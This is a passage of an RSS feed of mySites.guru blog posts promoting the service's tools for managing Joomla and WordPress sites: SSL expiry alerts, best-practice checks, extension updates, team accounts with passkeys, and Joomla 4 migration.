&lt;p&gt;Certificate lifetimes have been shrinking for years. What used to be a 2-5 year certificate is now often 90 days with Let&apos;s Encrypt. Auto-renewal handles this most of the time, but when it fails, browsers block your site for visitors entirely.&lt;/p&gt;
&lt;p&gt;That&apos;s why mySites.guru shows you an overview of all your SSL certificates sorted by expiration date.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;On this screen you can also export the list to CSV file for further offline processing should you wish.&lt;/p&gt;
&lt;h2&gt;How do expiry alerts work?&lt;/h2&gt;
&lt;p&gt;By default, mySites.guru alerts you when a certificate gets within 2 days of expiry. For most sites with auto-renewal that threshold should never trigger - but it&apos;s there as a safety net.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If your renewal process requires more lead time, you can configure how many days in advance you want the alert.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What about Qualys SSL Labs integration?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ssllabs.com/ssltest/index.html&quot;&gt;Qualys SSL Labs&lt;/a&gt; is the standard tool for testing SSL implementation in depth. mySites.guru links directly to it from the Learn More page in the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;SSL Snapshot tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It gives you detailed technical information about your SSL configuration and your web server&apos;s security posture.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;SSL tracking is covered in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>ssl</category><category>monitoring</category><category>security</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/4k-images-copy-4-1024x576.B75WtIlA.webp" length="0" type="image/webp"/></item><item><title>Best Practice for Joomla &amp; WordPress Sites</title><link>https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/</guid><description>Every mySites.guru snapshot and audit check comes with a detailed Learn More page explaining the best practice recommendation, the risk and how to fix it.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every check in the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt; and Audit - well over 100 of them - has a &quot;Learn More&quot; page explaining what the check looks for, why it matters, and what to do about it.&lt;/p&gt;
&lt;p&gt;Not everyone will agree with every recommendation we make, and that&apos;s fine. Each check exists for a reason, most of it based on years of involvement with the Joomla project (and more recently WordPress).&lt;/p&gt;
&lt;p&gt;Each &quot;Learn More&quot; page includes most of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our Recommendation&lt;/li&gt;
&lt;li&gt;How the audit checks this setting&lt;/li&gt;
&lt;li&gt;Background Information&lt;/li&gt;
&lt;li&gt;A tool to investigate, or an explanation of why no tool is available&lt;/li&gt;
&lt;li&gt;Further Reading&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;Get Expert Assistance&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To make this concrete, the rest of this post walks through one check: &quot;Logs/tmp Folder Locations Should Exist At Default Locations&quot; for Joomla sites.&lt;/p&gt;
&lt;p&gt;WordPress-specific checks include things like &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;admin bar logo removal&lt;/a&gt;, each with a one-click toggle.&lt;/p&gt;
&lt;p&gt;This check is in the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, and looks like this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can click on the Learn More link to get to that page.&lt;/p&gt;
&lt;h2&gt;The recommendation&lt;/h2&gt;
&lt;p&gt;This block states what we consider the correct best practice, with context explaining why.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example &quot;Our Recommendation&quot; block on the Learn More page&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;How the audit checks this&lt;/h2&gt;
&lt;p&gt;This block explains, in technical and non-technical language how the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;/audit process gets its data for this check.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Background information&lt;/h2&gt;
&lt;p&gt;This block includes any additional background context worth knowing about the issue.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;p&gt;Links to relevant documentation, official Joomla or WordPress resources, or third-party guidance. Where licensing prevents us from reproducing content directly, we link out instead.&lt;/p&gt;
&lt;h2&gt;Tools&lt;/h2&gt;
&lt;p&gt;Usually a direct link to the Investigate Tool, or back to the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt;/Audit tabs if this check has a toggle.&lt;/p&gt;
&lt;h2&gt;Get Expert Assistance&lt;/h2&gt;
&lt;p&gt;If you need help fixing an issue, we offer fixed-fee &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;paid consultancy&lt;/a&gt; to resolve problems identified in a snapshot or audit. Full details and request form at &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>best practice</category><category>joomla</category><category>wordpress</category><category>security</category><enclosure url="https://mysites.guru/_astro/50-1024x576.BDLg8CjG.webp" length="0" type="image/webp"/></item><item><title>Manage all your Joomla Sites Extensions with mySites.guru</title><link>https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/</guid><description>View, search and update every Joomla extension across all your connected sites from a single page in mySites.guru.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Two years ago we were tracking over four million relationships between Joomla sites, extensions and the update sites that are used for updates from the developers, and, we got it wrong. &lt;em&gt;&lt;strong&gt;Our architecture was wrong, and the performance sucked.&lt;/strong&gt;&lt;/em&gt; So we made the decision to remove it then.&lt;/p&gt;
&lt;p&gt;This has now been &lt;strong&gt;completely rewritten&lt;/strong&gt; (Using PHP 7.4 and Symfony 4.4)  for the mySites.guru service and has been re-released to &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;great praise from our long term subscribers&lt;/a&gt;, some of which have been subscribers since 2012!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;(Edit: This is an old article now, we now run on the very latest Symfony framework and the very latest PHP version (8.3.3 at the time of this edit!)&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Want to Update One Extension on Multiple Sites instantly?&lt;/h3&gt;
&lt;p&gt;Watch Tim walk you though it&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/tFVIbeRRcTY&quot; title=&quot;Update one extension on multiple Joomla sites&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;So what can I do with mySites.guru to manage my extensions?&lt;/h3&gt;
&lt;p&gt;These are the main headline features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/&quot;&gt;view a complete list of extensions&lt;/a&gt; installed on your portfolio of sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/c116dd35616c46e593169e67634f7bdc&quot;&gt;search for a specific extension&lt;/a&gt; regardless of version number, and see the sites that have that extension installed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/extensions/981a7d15f55d3dbd6780645ead34bb8d&quot;&gt;search for a specific version of a specific extension&lt;/a&gt;, and see all the sites that have that specific version installed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can see how many other sites in our database, have those extensions installed too, as a &lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;Top 50 Extensions list&lt;/a&gt;, drawn from live data in our database of paying customers with almost 60,000 sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can filter the &lt;a href=&quot;https://manage.mysites.guru/en/tools/remoteinstall&quot;&gt;Mass Package Installer page&lt;/a&gt;, by all sites with a certain extension installed (Allowing you to push an update to just those sites)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For any site, you can see each and every extension, plugin, template or module (or even library) installed, its version number, links to its developer and their support sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;previously announced&lt;/a&gt;, you can now set ANY EXTENSIONS update stream to automatically provide updates as soon as they are available - &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;fully automated updates of any Joomla extension&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/remoteinstall&quot;&gt;Mass Package Installer&lt;/a&gt; to push any Joomla extension, module, plugin, or template to all your sites in one go, or a selection of sites.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see above, each of these features enables you to make wide-ranging and sweeping changes to ALL your sites in one go, or a sub set of those selected sites &lt;strong&gt;making the task of keeping your Joomla extensions up to date a breeze&lt;/strong&gt;. If you&apos;re running a Joomla agency, this pairs naturally with the broader workflow for &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;So what are the Top Ten Extensions used by mySites.guru customers?&lt;/h3&gt;
&lt;p&gt;Well you could login and &lt;a href=&quot;https://manage.mysites.guru/en/extensions/top/50&quot;&gt;click the link&lt;/a&gt;, but here is a snapshot in time image below to give you a rough estimate on 1st December 2019. The list is a pretty obvious list of the major players in Joomla extensions, nothing exciting or different to our expectations really.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;To view the full list of 50, login and navigate to the realtime list.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example overview page of an old extension on old (hackable) sites.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Extension management at scale is a core topic in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-15.BvTJUAU0.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple Sites With Your Whole Team</title><link>https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/</guid><description>Add unlimited team members to your mySites.guru account with per-site and per-feature permissions. No per-seat fees.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you run an agency, you&apos;ve probably been through the dance of sharing logins over Slack or forwarding alert emails to the right person. We added team accounts to mySites.guru so you can stop doing that. If you&apos;re still getting your head around the core workflow, start with the guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - team access is the natural next step once the basics are in place.&lt;/p&gt;
&lt;p&gt;Everyone on your team gets their own login. You pick which sites they can see and which tools they can use - backups only, monitoring only, full access, whatever makes sense. Want to give a client read-only access to just their own site? That works too. For client-facing sites, you can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; and send &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt; so everything looks professionally branded.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;Go to your &lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Account page&lt;/a&gt;, open the &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Your Team tab&lt;/a&gt;, and click &lt;strong&gt;Add Team Member&lt;/strong&gt;. Assign them sites and pick their permissions. They&apos;ll get their own login and can start working right away.&lt;/p&gt;
&lt;h2&gt;How do notifications work?&lt;/h2&gt;
&lt;p&gt;Team members get all notifications by default. They can tweak their own &lt;a href=&quot;https://manage.mysites.guru/en/notifications/&quot;&gt;notification preferences&lt;/a&gt; without affecting yours. Changes anyone makes to site config or monitors apply to the site, not the user, so everyone sees the same thing.&lt;/p&gt;
&lt;h2&gt;How do passkeys and security work?&lt;/h2&gt;
&lt;p&gt;Every team account supports &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkeys&lt;/a&gt; - Face ID, Touch ID, Windows Hello, whatever your device offers. No codes to type, no authenticator app to fumble with, and nothing that can be phished. Your team logs in with a fingerprint or a glance and they&apos;re in.&lt;/p&gt;
&lt;p&gt;Passkeys replace the weakest link in account security (passwords people reuse everywhere) with cryptographic keys tied to their device. If someone on your team is still using &lt;code&gt;password123&lt;/code&gt; for everything, passkeys fix that problem permanently.&lt;/p&gt;
&lt;p&gt;Two Factor Authentication is also available for teams that want a more traditional setup. You can send password resets, disable accounts, or remove someone whenever you need to.&lt;/p&gt;
&lt;p&gt;There are no per-seat fees. Team access is part of every plan - add as many people as you need.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Add Your First Team Member Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team collaboration is a key topic in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;guide to multi-site management&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>teams</category><category>joomla</category><category>wordpress</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/_astro/Bring-your-whole-team-1-1024x512.rWdhJOhl.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple WordPress Sites</title><link>https://mysites.guru/blog/manage-multiple-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-multiple-wordpress-sites/</guid><description>Centralise updates, backups, security audits and one-click logins across all your WordPress sites. One dashboard, unlimited sites, £19.99/month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you&apos;re looking after more than a handful of WordPress sites, you already know the pain. Logging into each one individually to check for updates, run backups, or see if something&apos;s broken. It doesn&apos;t scale, and it gets old fast.&lt;/p&gt;
&lt;p&gt;I built &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; to fix exactly this problem. One dashboard, all your sites, no per-site fees.&lt;/p&gt;
&lt;h2&gt;What is the problem with multiple WordPress sites?&lt;/h2&gt;
&lt;p&gt;A single WordPress site is fine. You log in, update your plugins, check your security, move on. But once you&apos;re managing 10, 50, or 200 sites for clients, that approach falls apart. You end up with browser tabs everywhere, forgotten updates, and security issues you don&apos;t find out about until a client emails you in a panic.&lt;/p&gt;
&lt;p&gt;Most people try to solve this with spreadsheets, bookmarks, or sheer willpower. None of those work long-term.&lt;/p&gt;
&lt;h2&gt;What does mySites.guru do differently?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;mySites.guru dashboard&lt;/a&gt; shows site health, update counts, security alerts and uptime status across every connected site. No more logging into each one.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt; scan every file in your webspace for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacks and backdoors&lt;/a&gt;, not just the obvious stuff. You get &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; when files change or someone logs into an admin panel. This matters because &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;site management goes deeper than updates, backups, and uptime&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Update WordPress core, plugins, and themes&lt;/a&gt; across hundreds of sites at once. You pick what to update, hit go, and get notified when it&apos;s done. You can also &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates&lt;/a&gt; so nothing changes without your approval. The full process for &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; - including how to structure your setup from day one - is covered in the dedicated landing page.&lt;/p&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt; using Akeeba Backup or All-In-One Migration. You can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;run backups across thousands of sites&lt;/a&gt; from the dashboard without touching FTP or SSH.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One-click admin login&lt;/a&gt; lets you jump straight into any site&apos;s admin panel without remembering passwords. It&apos;s genuinely the feature people tell me they use most.&lt;/p&gt;
&lt;p&gt;If you&apos;re an agency, &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; let you send branded reports to clients showing what you did, when, and why. Useful for proving your value at invoice time. You can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; with one click for a cleaner, branded admin panel.&lt;/p&gt;
&lt;h2&gt;What best practice checks run on every site?&lt;/h2&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;snapshot and audit tools&lt;/a&gt; run over 100 checks on each site, twice a day. &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security headers&lt;/a&gt;, PHP versions, &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space&lt;/a&gt;, and more. You don&apos;t have to remember to check. It just tells you when something needs attention.&lt;/p&gt;
&lt;p&gt;Claim your &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; and see for yourself.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Does it work with more than just WordPress?&lt;/h2&gt;
&lt;p&gt;mySites.guru also works with Joomla and any PHP-based site. Craft, OctoberCMS, whatever you&apos;re running. If it has PHP, you can connect it. Unlimited sites, one flat monthly price.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Multi-site management is covered comprehensively in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>multi-site management</category><category>agency tools</category><enclosure url="https://mysites.guru/_astro/39.CwEfQbBb.webp" length="0" type="image/webp"/></item><item><title>Manage Your Joomla 4 Sites with mySites.guru</title><link>https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/</guid><description>mySites.guru fully supports Joomla 4 with the same audit, backup, update, and monitoring toolset available for every Joomla version since 1.5.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg bg-neutral-900 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-white mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-white m-0&quot;&amp;gt;This article was written when Joomla 4 first launched. Joomla 4 has since reached end of life. If you&apos;re still running Joomla 4, plan your migration to the latest Joomla version sooner rather than later.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Joomla 4 was released on 17 August 2021 after nine years of development. mySites.guru had full support ready from day one.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;ℹ️ Full Joomla version support&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;mySites.guru is compatible with &amp;lt;a href=&quot;/blog/end-of-life-supported-versions/&quot; class=&quot;underline&quot;&amp;gt;every Joomla version from 1.5.0 onwards&amp;lt;/a&amp;gt; - including Joomla 4, 5, and 6. Even if a &amp;lt;a href=&quot;/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot; class=&quot;underline&quot;&amp;gt;site has been hacked&amp;lt;/a&amp;gt; and compromised, the audit and monitoring tools still work.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How does mySites.guru handle Joomla upgrades?&lt;/h2&gt;
&lt;p&gt;mySites.guru never performs major Joomla upgrades automatically. You have to log in and request that mySites.guru perform an upgrade.&lt;/p&gt;
&lt;p&gt;When Joomla 3.10.0 was first released, it mistakenly showed a one-click upgrade path to Joomla 4.0.0 in the admin panel. That was never supposed to happen - Joomla 3 to 4 was always a migration, not an upgrade. We blocked the Joomla 3 to 4 upgrade path in mySites.guru entirely to prevent accidental major version jumps.&lt;/p&gt;
&lt;p&gt;The Joomla project later acknowledged the issue and moved Joomla 4.0.0 to a separate update stream so that Joomla 3.10.0 sites wouldn&apos;t see it unless the &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;update channel was manually changed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Joomla_3.10_points_to_4.0_while_it_claims_to_be_on_the_Default_update_server&quot;&gt;Joomla 3.10 update server issue&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/35214&quot;&gt;Joomla CMS pull request #35214&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Joomla 1.5 through 3 all share a single connector plugin. Joomla 4, 5, and 6 each have their own dedicated connector, built to take advantage of the higher PHP requirements in each major version.&lt;/p&gt;
&lt;h2&gt;How do you migrate from Joomla 3 to Joomla 4?&lt;/h2&gt;
&lt;p&gt;Migrating to Joomla 4 means checking every template, extension, plugin, and module for compatibility. Joomla&apos;s built-in Pre-Update Checker has a history of reporting incorrect compatibility results, so verify each extension manually.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ Never migrate on a live site&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Perform the Joomla 4 migration on a development copy first. Back up everything before you start, and test your backups.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;The dedicated guide covers the mySites.guru side of this in more detail: &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;Migrating to Modern Joomla When Using mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you reconnect a migrated site to mySites.guru?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Uninstall the mySites.guru system plugin from the Joomla 3 site&lt;/li&gt;
&lt;li&gt;Delete the site from your mySites.guru account&lt;/li&gt;
&lt;li&gt;Perform the mini-migration to Joomla 4&lt;/li&gt;
&lt;li&gt;Use the &lt;strong&gt;Add Another Site&lt;/strong&gt; process to generate the Joomla 4 connector and install it on your migrated site&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;What about Joomla 5 and Joomla 6?&lt;/h2&gt;
&lt;p&gt;Joomla 5 and 6 are also fully supported, each with their own dedicated connector plugin. mySites.guru also has tools to check whether your servers are ready for each version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 Technical Requirements Check&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 Technical Requirements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla 4 Technical Requirements&lt;/a&gt; - official minimum and recommended server specs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x&quot;&gt;Planning for Mini-Migration: Joomla 3.10 to 4&lt;/a&gt; - the Joomla project&apos;s migration planning guide&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Joomla_3.x_to_4.x_Step_by_Step_Migration&quot;&gt;Step by Step Migration: Joomla 3.x to 4.x&lt;/a&gt; - walks through each step of the migration&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Joomla version management is part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 4</category><category>site management</category><category>migration</category><enclosure url="https://mysites.guru/_astro/manage-your-joomla-4-sites-with-mysites-guru.B2xy-EoE.png" length="0" type="image/png"/></item><item><title>Migrating to Modern Joomla When Using mySites.guru</title><link>https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/</guid><description>How to keep your sites connected to mySites.guru when migrating from Joomla 3 to Joomla 4, 5, or 6. Step-by-step connector swap process.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is not a guide on how to migrate Joomla 3 to a newer version. This is for mySites.guru subscribers who want to keep their sites connected and monitored after migrating.&lt;/p&gt;
